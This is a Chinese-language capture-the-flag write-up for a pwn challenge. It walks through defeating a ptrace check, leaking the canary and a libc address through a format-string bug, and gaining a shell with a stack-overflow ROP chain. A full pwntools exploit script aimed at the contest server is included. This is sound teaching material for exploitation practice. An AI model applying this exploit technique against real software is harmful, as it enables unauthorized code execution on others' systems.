-
-
第三题:PWN_wow
-
发表于:
2018-6-21 20:22
2695
-
By:二进制忍者
test函数里面有ptrace,gdb调试之前还要把test函数nop掉。
逆向分析,程序边解码边执行,得到程序的口令是evXnaK,输入口令进行下一步。
后面有两个漏洞:格式化字符串漏洞和栈溢出漏洞;printf格式化串漏洞,可以泄露canary和libc地址;read栈溢出,可以覆盖返回地址。
可以先用格式化字符串泄露15$处的libc段的一个地址,以及13$处的canary,
分析题目给出的环境
ubuntu16.04 4.4.0-91-generic,以及泄露的libc地址,推断出libc版本是libc-2.23_ubuntu_amd64.so,
然后利用泄露的libc地址计算出system和"/bin/sh"字符串的地址,
最后利用ROP技术一次,执行system("/bin/sh"),注意把刚才得到的canary填充到相应位置,就能绕过canary保护。
from pwn import *
context.log_level='debug'
env=os.environ
env['LD_PRELOAD']='./mylibc.so'
#r=process('./wow2')
r=remote('139.199.99.130',65188)
plt_puts=0x400580
rdiret=0x400b23
rsir15ret=0x400b21
vuln=0x400a5e
got_puts=0x601018
got_start=0x601038
r.sendline('evXnaK%15$p,%13$p')
r.recvuntil('0x')
leak=int(r.recv(12),16)
print "[+]leak: "+hex(leak)
r.recvuntil(',')
canary=int(r.recvline(),16)
print "[+]canary: "+hex(canary)
system=leak-0x7f823c89a830+0x7f823c8bf390
binsh=system-0x7f6157d2f390+0x7f6157e76d57
r.sendline('a'*88+p64(canary)+'aaaaaaaa'+p64(rdiret)+p64(binsh)+p64(system))
r.interactive()
[招生]科锐逆向工程师培训(2024年11月15日实地,远程教学同时开班, 第51期)